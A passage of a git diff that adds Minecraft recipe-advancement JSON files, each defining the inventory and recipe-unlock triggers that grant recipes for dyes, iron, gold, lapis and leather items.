"conditions": { + "items": [ + { + "item": "minecraft:golden_pickaxe" + } + ] + } + }, + "has_golden_shovel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_shovel" + } + ] + } + }, + "has_golden_axe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_axe" + } + ] + } + }, + "has_golden_hoe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_hoe" + } + ] + } + }, + "has_golden_sword": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_sword" + } + ] + } + }, + "has_golden_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_helmet" + } + ] + } + }, + "has_golden_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_chestplate" + } + ] + } + }, + "has_golden_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_leggings" + } + ] + } + }, + "has_golden_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_boots" + } + ] + } + }, + "has_golden_horse_armor": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:golden_horse_armor" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gold_nugget_from_smelting" + } + } + }, + "requirements": [ + [ + "has_golden_pickaxe", + "has_golden_shovel", + "has_golden_axe", + "has_golden_hoe", + "has_golden_sword", + "has_golden_helmet", + "has_golden_chestplate", + "has_golden_leggings", + "has_golden_boots", + "has_golden_horse_armor", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/gray_dye.json b/src/data/minecraft/advancements/recipes/misc/gray_dye.json new file mode 100644 index 00000000..82bc4e56 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/gray_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:gray_dye" + ] + }, + "criteria": { + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_black_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:gray_dye" + } + } + }, + "requirements": [ + [ + "has_white_dye", + "has_black_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/green_dye.json b/src/data/minecraft/advancements/recipes/misc/green_dye.json new file mode 100644 index 00000000..2bed0a83 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/green_dye.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:green_dye" + ] + }, + "criteria": { + "has_cactus": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cactus" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:green_dye" + } + } + }, + "requirements": [ + [ + "has_cactus", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/iron_ingot.json b/src/data/minecraft/advancements/recipes/misc/iron_ingot.json new file mode 100644 index 00000000..bd44cc9c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/iron_ingot.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_ingot" + ] + }, + "criteria": { + "has_iron_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_ingot" + } + } + }, + "requirements": [ + [ + "has_iron_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_blasting.json new file mode 100644 index 00000000..c3de8670 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_ingot_from_blasting" + ] + }, + "criteria": { + "has_iron_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_ingot_from_blasting" + } + } + }, + "requirements": [ + [ + "has_iron_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_iron_block.json b/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_iron_block.json new file mode 100644 index 00000000..6666d8bc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_iron_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_ingot_from_iron_block" + ] + }, + "criteria": { + "has_iron_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_ingot_from_iron_block" + } + } + }, + "requirements": [ + [ + "has_iron_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_nuggets.json b/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_nuggets.json new file mode 100644 index 00000000..1f626399 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/iron_ingot_from_nuggets.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_ingot_from_nuggets" + ] + }, + "criteria": { + "has_iron_nugget": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_nugget" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_ingot_from_nuggets" + } + } + }, + "requirements": [ + [ + "has_iron_nugget", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/iron_nugget.json b/src/data/minecraft/advancements/recipes/misc/iron_nugget.json new file mode 100644 index 00000000..5ede0bd1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/iron_nugget.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_nugget" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_nugget" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/iron_nugget_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/iron_nugget_from_blasting.json new file mode 100644 index 00000000..55a4f56d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/iron_nugget_from_blasting.json @@ -0,0 +1,175 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_nugget_from_blasting" + ] + }, + "criteria": { + "has_iron_pickaxe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_pickaxe" + } + ] + } + }, + "has_iron_shovel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_shovel" + } + ] + } + }, + "has_iron_axe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_axe" + } + ] + } + }, + "has_iron_hoe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_hoe" + } + ] + } + }, + "has_iron_sword": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_sword" + } + ] + } + }, + "has_iron_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_helmet" + } + ] + } + }, + "has_iron_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_chestplate" + } + ] + } + }, + "has_iron_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_leggings" + } + ] + } + }, + "has_iron_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_boots" + } + ] + } + }, + "has_iron_horse_armor": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_horse_armor" + } + ] + } + }, + "has_chainmail_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_helmet" + } + ] + } + }, + "has_chainmail_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_chestplate" + } + ] + } + }, + "has_chainmail_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_leggings" + } + ] + } + }, + "has_chainmail_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_boots" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_nugget_from_blasting" + } + } + }, + "requirements": [ + [ + "has_iron_pickaxe", + "has_iron_shovel", + "has_iron_axe", + "has_iron_hoe", + "has_iron_sword", + "has_iron_helmet", + "has_iron_chestplate", + "has_iron_leggings", + "has_iron_boots", + "has_iron_horse_armor", + "has_chainmail_helmet", + "has_chainmail_chestplate", + "has_chainmail_leggings", + "has_chainmail_boots", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/iron_nugget_from_smelting.json b/src/data/minecraft/advancements/recipes/misc/iron_nugget_from_smelting.json new file mode 100644 index 00000000..826b6337 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/iron_nugget_from_smelting.json @@ -0,0 +1,175 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_nugget_from_smelting" + ] + }, + "criteria": { + "has_iron_pickaxe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_pickaxe" + } + ] + } + }, + "has_iron_shovel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_shovel" + } + ] + } + }, + "has_iron_axe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_axe" + } + ] + } + }, + "has_iron_hoe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_hoe" + } + ] + } + }, + "has_iron_sword": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_sword" + } + ] + } + }, + "has_iron_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_helmet" + } + ] + } + }, + "has_iron_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_chestplate" + } + ] + } + }, + "has_iron_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_leggings" + } + ] + } + }, + "has_iron_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_boots" + } + ] + } + }, + "has_iron_horse_armor": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_horse_armor" + } + ] + } + }, + "has_chainmail_helmet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_helmet" + } + ] + } + }, + "has_chainmail_chestplate": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_chestplate" + } + ] + } + }, + "has_chainmail_leggings": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_leggings" + } + ] + } + }, + "has_chainmail_boots": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chainmail_boots" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_nugget_from_smelting" + } + } + }, + "requirements": [ + [ + "has_iron_pickaxe", + "has_iron_shovel", + "has_iron_axe", + "has_iron_hoe", + "has_iron_sword", + "has_iron_helmet", + "has_iron_chestplate", + "has_iron_leggings", + "has_iron_boots", + "has_iron_horse_armor", + "has_chainmail_helmet", + "has_chainmail_chestplate", + "has_chainmail_leggings", + "has_chainmail_boots", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/lapis_from_blasting.json b/src/data/minecraft/advancements/recipes/misc/lapis_from_blasting.json new file mode 100644 index 00000000..9b38b8cb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/lapis_from_blasting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lapis_from_blasting" + ] + }, + "criteria": { + "has_lapis_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lapis_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lapis_from_blasting" + } + } + }, + "requirements": [ + [ + "has_lapis_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/lapis_from_smelting.json b/src/data/minecraft/advancements/recipes/misc/lapis_from_smelting.json new file mode 100644 index 00000000..96e601b9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/lapis_from_smelting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lapis_from_smelting" + ] + }, + "criteria": { + "has_lapis_ore": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lapis_ore" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lapis_from_smelting" + } + } + }, + "requirements": [ + [ + "has_lapis_ore", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/lapis_lazuli.json b/src/data/minecraft/advancements/recipes/misc/lapis_lazuli.json new file mode 100644 index 00000000..13621c80 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/lapis_lazuli.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lapis_lazuli" + ] + }, + "criteria": { + "has_lapis_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lapis_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lapis_lazuli" + } + } + }, + "requirements": [ + [ + "has_lapis_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/leather.json b/src/data/minecraft/advancements/recipes/misc/leather.json new file mode 100644 index 00000000..944cb1e8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/leather.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:leather" + ] + }, + "criteria": { + "has_rabbit_hide": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rabbit_hide" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:leather" + } + } + }, + "requirements": [ + [ + "has_rabbit_hide", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/leather_horse_armor.json b/src/data/minecraft/advancements/recipes/misc/leather_horse_armor.json new file mode 100644 index 00000000..7f3e7045 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/leather_horse_armor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:leather_horse_armor" + ] + }, + "criteria": { + "has_leather": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:leather" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:leather_horse_armor" + } + } + }, + "requirements": [ + [ + "has_leather", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/light_blue_dye_from_blue_orchid.json b/src/data/minecraft/advancements/recipes/misc/light_blue_dye_from_blue_orchid.json new file mode 100644 index 00000000..ceb51bb4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/light_blue_dye_from_blue_orchid.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_dye_from_blue_orchid" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_orchid" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_dye_from_blue_orchid" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/light_blue_dye_from_blue_white_dye.json b/src/data/minecraft/advancements/recipes/misc/light_blue_dye_from_blue_white_dye.json new file mode 100644 index 00000000..d3b16ff0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/light_blue_dye_from_blue_white_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_blue_dye_from_blue_white_dye" + ] + }, + "criteria": { + "has_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_dye" + } + ] + } + }, + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_blue_dye_from_blue_white_dye" + } + } + }, + "requirements": [ + [ + "has_blue_dye", + "has_white_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_azure_bluet.json b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_azure_bluet.json new file mode 100644 index 00000000..e2ea0330 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_azure_bluet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_dye_from_azure_bluet" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:azure_bluet" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_dye_from_azure_bluet" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_black_white_dye.json b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_black_white_dye.json new file mode 100644 index 00000000..7779f96c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_black_white_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_dye_from_black_white_dye" + ] + }, + "criteria": { + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_black_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_dye_from_black_white_dye" + } + } + }, + "requirements": [ + [ + "has_white_dye", + "has_black_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_gray_white_dye.json b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_gray_white_dye.json new file mode 100644 index 00000000..df7da97f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_gray_white_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_dye_from_gray_white_dye" + ] + }, + "criteria": { + "has_gray_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gray_dye" + } + ] + } + }, + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_dye_from_gray_white_dye" + } + } + }, + "requirements": [ + [ + "has_gray_dye", + "has_white_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_oxeye_daisy.json b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_oxeye_daisy.json new file mode 100644 index 00000000..2c437dcc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_oxeye_daisy.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_dye_from_oxeye_daisy" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oxeye_daisy" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_dye_from_oxeye_daisy" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_white_tulip.json b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_white_tulip.json new file mode 100644 index 00000000..22a32051 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/light_gray_dye_from_white_tulip.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_gray_dye_from_white_tulip" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_tulip" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_gray_dye_from_white_tulip" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/lime_dye.json b/src/data/minecraft/advancements/recipes/misc/lime_dye.json new file mode 100644 index 00000000..4b4d6b9c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/lime_dye.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_dye" + ] + }, + "criteria": { + "has_green_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:green_dye" + } + ] + } + }, + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_dye" + } + } + }, + "requirements": [ + [ + "has_green_dye", + "has_white_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/lime_dye_from_smelting.json b/src/data/minecraft/advancements/recipes/misc/lime_dye_from_smelting.json new file mode 100644 index 00000000..7e218ea3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/lime_dye_from_smelting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_dye_from_smelting" + ] + }, + "criteria": { + "has_sea_pickle": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sea_pickle" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_dye_from_smelting" + } + } + }, + "requirements": [ + [ + "has_sea_pickle", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_allium.json b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_allium.json new file mode 100644 index 00000000..612fe3b6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_allium.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_dye_from_allium" + ] + }, + "criteria": { + "has_red_flower": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:allium" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_dye_from_allium" + } + } + }, + "requirements": [ + [ + "has_red_flower", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_blue_red_pink.json b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_blue_red_pink.json new file mode 100644 index 00000000..8624401a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_blue_red_pink.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_dye_from_blue_red_pink" + ] + }, + "criteria": { + "has_pink_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_dye" + } + ] + } + }, + "has_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_dye" + } + ] + } + }, + "has_red_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_dye_from_blue_red_pink" + } + } + }, + "requirements": [ + [ + "has_pink_dye", + "has_blue_dye", + "has_red_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_blue_red_white_dye.json b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_blue_red_white_dye.json new file mode 100644 index 00000000..6e62d960 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_blue_red_white_dye.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_dye_from_blue_red_white_dye" + ] + }, + "criteria": { + "has_blue_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blue_dye" + } + ] + } + }, + "has_rose_red": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_dye" + } + ] + } + }, + "has_white_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_dye_from_blue_red_white_dye" + } + } + }, + "requirements": [ + [ + "has_blue_dye", + "has_rose_red", + "has_white_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_lilac.json b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_lilac.json new file mode 100644 index 00000000..702958f0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/misc/magenta_dye_from_lilac.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_dye_from_lilac" + ] + }, + "criteria": { + "has_double_plant": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lilac" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_dye_from_lilac" + } + } + }, + "requirements": [ + [ + "has_double_plant", + "has_the_recipe" + ] 